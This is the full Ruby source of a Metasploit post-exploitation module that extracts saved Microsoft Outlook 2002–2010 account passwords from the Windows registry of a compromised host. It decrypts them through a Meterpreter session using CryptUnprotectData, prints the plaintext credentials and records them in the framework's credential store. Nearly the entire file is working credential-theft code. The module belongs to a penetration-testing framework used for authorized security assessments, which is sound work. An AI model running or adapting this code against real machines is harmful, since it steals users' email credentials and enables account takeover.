metasploit-framework/modules/post/windows/gather/credentials/outlook.rb

389 lines
13 KiB
Ruby

# -*- coding: binary -*-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/auxiliary/report'
class MetasploitModule < Msf::Post
include Msf::Post::Windows::Registry
include Msf::Post::Windows::Priv
include Msf::Auxiliary::Report
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Gather Microsoft Outlook Saved Password Extraction',
'Description' => %q{
This module extracts and decrypts saved Microsoft
Outlook (versions 2002-2010) passwords from the Windows
Registry for POP3/IMAP/SMTP/HTTP accounts.
In order for decryption to be successful, this module must be
executed under the same privileges as the user which originally
encrypted the password.
},
'License' => MSF_LICENSE,
'Author' => [ 'Justin Cacak'],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ]
))
end
def prepare_railgun
rg = session.railgun
if (!rg.get_dll('crypt32'))
rg.add_dll('crypt32')
end
end
def decrypt_password(data)
rg = session.railgun
pid = client.sys.process.getpid
process = client.sys.process.open(pid, PROCESS_ALL_ACCESS)
mem = process.memory.allocate(128)
process.memory.write(mem, data)
if session.sys.process.each_process.find { |i| i["pid"] == pid} ["arch"] == "x86"
addr = [mem].pack("V")
len = [data.length].pack("V")
ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8)
len, addr = ret["pDataOut"].unpack("V2")
else
addr = [mem].pack("Q")
len = [data.length].pack("Q")
ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 16)
len, addr = ret["pDataOut"].unpack("Q2")
end
return "" if len == 0
decrypted_pw = process.memory.read(addr, len)
return decrypted_pw
end
# Just a wrapper to avoid copy pasta and long lines
def get_valdata(k, name)
@key_base = "HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676"
registry_getvaldata("#{@key_base}\\#{k}", name)
end
def get_registry
#Determine if saved accounts exist within Outlook. Ignore the Address Book and Personal Folder registry entries.
outlook_exists = 0
saved_accounts = 0
next_account_id = get_valdata("", 'NextAccountID')
if next_account_id != nil
#Microsoft Outlook not found
print_status "Microsoft Outlook found in Registry..."
outlook_exists = 1
registry_enumkeys(@key_base).each do |k|
display_name = get_valdata(k, 'Display Name')
if display_name == nil
#Microsoft Outlook found, but no account data saved in this location
next
end
#Account found - parse through registry data to determine account type. Parse remaining registry data after to speed up module.
saved_accounts = 1
got_user_pw = 0
accountname = get_valdata(k, 'Account Name')
displayname = get_valdata(k, 'Display Name')
email = get_valdata(k, 'Email')
pop3_server = get_valdata(k, 'POP3 Server')
smtp_server = get_valdata(k, 'SMTP Server')
http_server_url = get_valdata(k, 'HTTP Server URL')
imap_server = get_valdata(k, 'IMAP Server')
smtp_use_auth = get_valdata(k, 'SMTP Use Auth')
if smtp_use_auth != nil
smtp_user = get_valdata(k, 'SMTP User')
smtp_password = get_valdata(k, 'SMTP Password')
smtp_auth_method = get_valdata(k, 'SMTP Auth Method')
end
if pop3_server != nil
type = "POP3"
elsif http_server_url != nil
type = "HTTP"
elsif imap_server != nil
type = "IMAP"
else
type = "UNKNOWN"
end
#Decrypt password and output results. Need to do each separately due to the way Microsoft stores them.
print_good("Account Found:")
print_status(" Type: #{type}")
print_status(" User Display Name: #{displayname}")
print_status(" User Email Address: #{email}")
if type == "POP3"
pop3_pw = get_valdata(k, 'POP3 Password')
pop3_user = get_valdata(k, 'POP3 User')
pop3_use_spa = get_valdata(k, 'POP3 Use SPA')
smtp_port = get_valdata(k, 'SMTP Port')
print_status(" User Name: #{pop3_user}")
if pop3_pw == nil
print_status(" User Password: <not stored>")
else
pop3_pw.slice!(0,1)
pass = decrypt_password(pop3_pw)
print_status(" User Password: #{pass}")
# Prepare data for creds
got_user_pw = 1
host = pop3_server
user = pop3_user
end
if pop3_use_spa != nil #Account for SPA (NTLM auth)
print_status(" Secure Password Authentication (SPA): Enabled")
end
print_status(" Incoming Mail Server (POP3): #{pop3_server}")
pop3_use_ssl = get_valdata(k, 'POP3 Use SSL')
if pop3_use_ssl == nil
print_status(" POP3 Use SSL: No")
else
print_status(" POP3 Use SSL: Yes")
end
pop3_port = get_valdata(k, 'POP3 Port')
if pop3_port == nil
print_status(" POP3 Port: 110")
portnum = 110
else
print_status(" POP3 Port: #{pop3_port}")
portnum = pop3_port
end
if smtp_use_auth == nil # Account for SMTP servers requiring authentication
print_status(" Outgoing Mail Server (SMTP): #{smtp_server}")
else
print_status(" Outgoing Mail Server (SMTP): #{smtp_server} [Authentication Required]")
# Check if smtp_auth_method is null. If so, the inbound credentials are utilized
if smtp_auth_method == nil
smtp_user = pop3_user
smtp_decrypted_password = pass
else
smtp_password.slice!(0,1)
smtp_decrypted_password = decrypt_password(smtp_password)
end
print_status(" Outgoing Mail Server (SMTP) User Name: #{smtp_user}")
print_status(" Outgoing Mail Server (SMTP) Password: #{smtp_decrypted_password}")
end
smtp_use_ssl = get_valdata(k, 'SMTP Use SSL')
if smtp_use_ssl == nil
print_status(" SMTP Use SSL: No")
else
print_status(" SMTP Use SSL: Yes")
end
if smtp_port == nil
print_status(" SMTP Port: 25")
smtp_port = 25
else
print_status(" SMTP Port: #{smtp_port}")
end
elsif type == "HTTP"
http_password = get_valdata(k, 'HTTP Password')
http_user = get_valdata(k, 'HTTP User')
http_use_spa = get_valdata(k, 'HTTP Use SPA')
print_status(" User Name: #{http_user}")
if http_password == nil
print_status(" User Password: <not stored>")
else
http_password.slice!(0,1)
pass = decrypt_password(http_password)
print_status(" User Password: #{pass}")
got_user_pw = 1
host = http_server_url
user = http_user
#Detect 80 or 443 for creds
http_server_url.downcase!
if http_server_url.include? "h\x00t\x00t\x00p\x00s"
portnum = 443
else
portnum = 80
end
end
if http_use_spa != nil #Account for SPA (NTLM auth)
print_status(" Secure Password Authentication (SPA): Enabled")
end
print_status(" HTTP Server URL: #{http_server_url}")
elsif type == "IMAP"
imap_user = get_valdata(k, 'IMAP User')
imap_use_spa = get_valdata(k, 'IMAP Use SPA')
imap_password = get_valdata(k, 'IMAP Password')
smtp_port = get_valdata(k, 'SMTP Port')
print_status(" User Name: #{imap_user}")
if imap_password == nil
print_status(" User Password: <not stored>")
else
imap_password.slice!(0,1)
pass = decrypt_password(imap_password)
print_status(" User Password: #{pass}")
got_user_pw = 1
host = imap_server
user = imap_user
end
if imap_use_spa != nil #Account for SPA (NTLM auth)
print_status(" Secure Password Authentication (SPA): Enabled")
end
print_status(" Incoming Mail Server (IMAP): #{imap_server}")
imap_use_ssl = get_valdata(k, 'IMAP Use SSL')
if imap_use_ssl == nil
print_status(" IMAP Use SSL: No")
else
print_status(" IMAP Use SSL: Yes")
end
imap_port = get_valdata(k, 'IMAP Port')
if imap_port == nil
print_status(" IMAP Port: 143")
portnum = 143
else
print_status(" IMAP Port: #{imap_port}")
portnum = imap_port
end
if smtp_use_auth == nil # Account for SMTP servers requiring authentication
print_status(" Outgoing Mail Server (SMTP): #{smtp_server}")
else
print_status(" Outgoing Mail Server (SMTP): #{smtp_server} [Authentication Required]")
# Check if smtp_auth_method is null. If so, the inbound credentials are utilized
if smtp_auth_method == nil
smtp_user = imap_user
smtp_decrypted_password = pass
else
smtp_password.slice!(0,1)
smtp_decrypted_password = decrypt_password(smtp_password)
end
print_status(" Outgoing Mail Server (SMTP) User Name: #{smtp_user}")
print_status(" Outgoing Mail Server (SMTP) Password: #{smtp_decrypted_password}")
end
smtp_use_ssl = get_valdata(k, 'SMTP Use SSL')
if smtp_use_ssl == nil
print_status(" SMTP Use SSL: No")
else
print_status(" SMTP Use SSL: Yes")
end
if smtp_port == nil
print_status(" SMTP Port: 25")
smtp_port = 25
else
print_status(" SMTP Port: #{smtp_port}")
end
end
if got_user_pw == 1
service_data = {
address: Rex::Socket.getaddress(host),
port: portnum,
protocol: "tcp",
service_name: type,
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :session,
session_id: session_db_id,
post_reference_name: self.refname,
username: user,
private_data: pass,
private_type: :password
}
credential_core = create_credential(credential_data.merge(service_data))
login_data = {
core: credential_core,
access_level: "User",
status: Metasploit::Model::Login::Status::UNTRIED
}
create_credential_login(login_data.merge(service_data))
end
if smtp_use_auth != nil
service_data = {
address: Rex::Socket.getaddress(smtp_server),
port: smtp_port,
protocol: "tcp",
service_name: "smtp",
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :session,
session_id: session_db_id,
post_reference_name: self.refname,
username: smtp_user,
private_data: smtp_decrypted_password,
private_type: :password
}
credential_core = create_credential(credential_data.merge(service_data))
login_data = {
core: credential_core,
access_level: "User",
status: Metasploit::Model::Login::Status::UNTRIED
}
create_credential_login(login_data.merge(service_data))
end
print_status("")
end
end
if outlook_exists == 0
print_status("Microsoft Outlook not installed or Exchange accounts are being used.")
elsif saved_accounts == 0
print_status("Microsoft Outlook installed however no accounts stored in Registry.")
end
end
def run
uid = session.sys.config.getuid # Get uid. Decryption will only work if executed under the same user account as the password was encrypted.
if is_system?
print_error("This module is running under #{uid}.")
print_error("Automatic decryption will not be possible.")
print_error("Migrate to a user process to achieve successful decryption (e.g. explorer.exe).")
else
print_status("Searching for Microsoft Outlook in Registry...")
prepare_railgun
get_registry()
end
print_status("Complete")
end
end